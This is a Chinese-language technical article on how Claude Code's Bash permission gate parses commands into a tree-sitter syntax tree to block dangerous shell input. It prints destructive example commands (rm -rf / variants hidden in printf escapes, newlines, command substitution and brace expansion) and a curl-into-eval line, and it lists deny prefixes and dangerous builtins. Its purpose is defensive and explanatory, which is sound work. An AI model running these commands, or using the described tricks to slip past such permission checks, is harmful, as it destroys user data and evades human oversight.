把 Bash 工具的权限校验交给字符串黑名单,曾经在一次内部演练里被一句看似无害的 printf 拼接命令绕开——rm -rf $(printf "\x2f") 在字符匹配引擎眼里是四段不相关的子串,但拿到 shell 上一展开就指向根目录。Claude Code 之所以能直接落进本地终端却仍能扛住生产环境的高风险操作,核心就在于它的 Bash 权限系统抛弃了”字符串白名单”这种脆弱路径,改用基于 tree-sitter 的 AST(抽象语法树)解析,把”命令到底想干什么”在执行前先结构化出来,再拿去和 allow/deny 规则做语义级匹配。
一、Bash 权限系统的整体定位
Claude Code 的权限架构走的是”纵深防御”路线,单一工具的 Bash 调用通常要穿过 7 层:工作区信任确认、权限模式(default/plan/acceptEdits/bypass/dontAsk 等)、权限规则匹配、Bash 专用多层安全、工具级安全、沙箱隔离、用户确认。Bash 工具对应的”多层安全”那一层(社区解读为 23 项静态检查 + AST 解析)专门负责”这条命令到底想干嘛”——它是整套权限链上语义最强、最难绕过、也最值得专门拆解的一环。
- 设计目标:在不阻断正常开发效率的前提下,把命令的真实意图摆在用户和规则系统面前。
- 关键属性:fail-closed(默认拒绝未识别结构)、allowlist(只放行已知节点类型)、pre-execution(在命令实际送到 shell 前完成判定)。
- 与沙箱的分工:AST 解析属于”权限门”(permission gate),只判定是否允许执行,并不替代沙箱的进程隔离。真正阻挡破坏性操作的,是路径约束与 OS 级沙箱(macOS Seatbelt、Linux 命名空间)。
二、AST 解析的核心机制
Claude Code 的 Bash 工具内置一套手写递归下降解析器(公开资料中提到约 4,400 行、跨 23 个文件),基于 tree-sitter 把原始命令字符串先解析成 AST。parseForSecurityFromAst 会遍历 AST 抽取出 SimpleCommand 节点(包括 argv、环境变量、重定向),再交给后续的安全与权限模块判定。
整个判定流程可以拆成四步:
- 预处理与危险包装剥离:先做控制字符、Unicode 不可见空白、Zsh 动态波浪号扩展、Zsh
=cmd路径扩展、带嵌入引号的花括号扩展等检查;同时把stdbuf -i0 -o0 -e0、env VAR=VAL这类”安全包装”剥掉,露出底层真正要执行的命令。 - AST 节点类型匹配:解析器维护一个显式 allowlist(program、list、pipeline、if、for、case、function 等结构节点);凡是不在白名单里的节点类型,立刻把整条命令标记为
too-complex,交给人工确认。 - 危险结构检测:对命令替换
$()、进程替换<()、子 shell(...)、循环、条件、函数定义等 15 类危险 AST 节点做专门识别。 - 危险内建命令阻断:阻止 35+ 个危险 shell 内建,包括
eval、source、exec、trap,以及 zsh 的全部 18 个危险内建(zmodload、ztcp等)。
资源限制同样硬性:单次解析 50ms 超时,AST 节点预算 50,000。超时或超预算的命令也会被自动退回人工确认,从结构上阻断”用超大 AST 拖死解析器”的拒绝服务尝试。
# 形如下面这种命令,会被 AST 解析器拦下要求人工确认:
eval "$(curl -s http://example.com/install.sh | head -1)"
# 原因:$() 命令替换 + 外部输入 + eval 同时出现,命中危险结构与危险内建
下面是从公开资料里抽出的关键代码语义示意,演示”白名单节点 + 危险结构 + 危险内建”三层联防的判断逻辑:
// 节选自 src/utils/bash/ast.ts 的核心判定思路
const STRUCTURAL_TYPES = new Set([
'program', 'list', 'pipeline', 'if_statement',
'for_statement', 'while_statement', 'case_statement',
'function_definition'
]);
function isTooComplex(ast) {
return walk(ast).some(node => !STRUCTURAL_TYPES.has(node.type));
}
const DANGEROUS_BUILTINS = new Set([
'eval', 'source', 'exec', 'trap',
'zmodload', 'ztcp', /* ... +18 zsh 危险内建 */
]);
function containsDangerousCall(cmd) {
return cmd.argv.some(arg => DANGEROUS_BUILTINS.has(arg));
}
三、AST 解析与传统字符串匹配的关键区别
字符串匹配只能”看到字面”,AST 解析能”读懂结构”。这是 Claude Code 把权限门从可被绕过的字符串方案升级到 AST 方案的根本原因。下表从 8 个维度对比两种思路:
| 维度 | 字符串匹配(白名单/黑名单) | AST 解析(tree-sitter 方案) |
|---|---|---|
| 匹配目标 | 整段命令字面字符串 | 解析后的语义节点与 argv |
| 处理换行/拼接 | 容易绕过(r\nm、反引号、$()) |
直接识别替换与子 shell 结构 |
| Unicode/控制字符 | 默认放行,易被 \u00A0、\x00-\x1F 绕过 |
预处理阶段就拦截 |
zsh 特有问题(~[name]、=cmd) |
完全无感 | pre-parse 阶段专门检测 |
| eval/exec 等内建 | 仅靠字符串包含判定,弱 | 走危险内建名单,强阻断 |
| “无法解析”的态度 | 多数实现会”放过去再说” | fail-closed:标记 too-complex,强制人工确认 |
| 抗注入能力 | 弱(payload 变形即绕) | 强(必须符合 AST 白名单) |
| 性能开销 | 极低 | 50ms 超时 + 50K 节点预算,受控 |
进一步看三组真实差异:
- 能否识别”换行分割”:传统字符串匹配把
git status\nrm -rf /视为两段合法命令;AST 解析把它识别为两个并列的 statement,第二个 statement 的rm -rf /在路径校验阶段就会被危险路径名单挡下。 - 能否识别”命令替换”:
echo $(rm -rf $HOME)对字符串匹配而言就是一段含rm字样的合法 echo;AST 解析能识别出$()嵌套的子命令,并对其中的 argv 重新做一次安全判定。 - 能否抗”花括号展开”:
{rm,-rf,/}形式的花括号展开会在 shell 端被还原为rm -rf /。AST 解析在 pre-parse 阶段就会扫到带嵌入引号的花括号展开,标记为需要确认。
需要特别强调的是,AST 解析器不是要替代沙箱,而是和沙箱一起构成”语义层 + 系统层”双保险。即便 AST 解析出现极端误判,沙箱的进程隔离与危险路径名单仍然能把破坏面压到最小。
四、把 AST 解析落到权限规则上的步骤
权限规则只接受”看得懂的命令”——这是 Bash(npm:*)、Bash(git *) 这类规则能稳定生效的前提。下面给出从编写规则到落地的标准步骤:
- 把高频命令归类:先按工具类型与命令族(
npm:*、git *、pnpm *)梳理允许列表,避免逐条写长白名单。 - 明确危险前缀:
rm -rf:*、sudo *、chmod 777:*、curl * | sh:*这类前缀直接进 deny 规则。 - 强制 ask 规则兜底:对
npm publish:*、git push --force:*这类”高破坏但低频”的命令用 ask 规则卡住,即便在 bypassPermissions 模式下也要弹确认。 - 结合危险文件目录清单:
.git/、.claude/、~/.ssh/、.env这些路径在 acceptEdits 模式下也必须保留确认,AST 解析在路径层再次校验。 - 审计
too-complex事件:当一条命令因为 AST 无法识别而被弹确认时,要么补规则放行,要么继续保持人工——绝对不要在配置里把”无法解析”当成可信任状态。
五、常见误用与排查方向
工程实践里最容易踩的几个坑值得专门列出来:
- 把
Bash(*)当成”全部放行”:这相当于关掉 AST 解析这条防线,仅靠后续的沙箱与危险路径兜底,生产环境风险陡增。 - 忽略
too-complex的告警:解析器在 50ms/50K 节点之外主动拒绝时,很多团队直接把告警吞掉,导致本该被人工拦下的命令悄悄执行。 - 把 allow 规则当 deny 用:allow 命中即通过,如果一条 allow 规则写得过宽(例如
Bash(npm:*)),会同时放行npm publish,需要 ask 规则二次兜底。 - 绕过沙箱只靠 AST:AST 只做语义判定,跨进程/跨文件系统的隔离仍要交给沙箱模块。两者各管一段,不要互相替代。
到这里,把”命令长什么样”翻译成”命令想干什么”这道关就完整建立起来了:AST 解析负责语义,规则系统负责策略,沙箱负责兜底。下一阶段真正要攻克的,是这套机制在 Sub-agent、多 Agent 协调、自动模式(auto mode)下如何保持一致的判定口径。
常见问题(FAQ)
Q1:AST 解析识别不了的命令会怎样?
直接标记为 too-complex,强制弹出人工确认对话框,不存在”识别不了就放行”的路径。
**Q2:把 Bash(*) 写进 allow 规则会发生什么?**
所有 Bash 调用都自动通过,相当于关闭 AST 这道语义门,仅靠沙箱与危险路径兜底。
Q3:auto 模式会绕过 AST 解析吗?
不会。auto 模式只接管”是否弹出人工确认”的判定,AST 解析在更上游完成语义识别。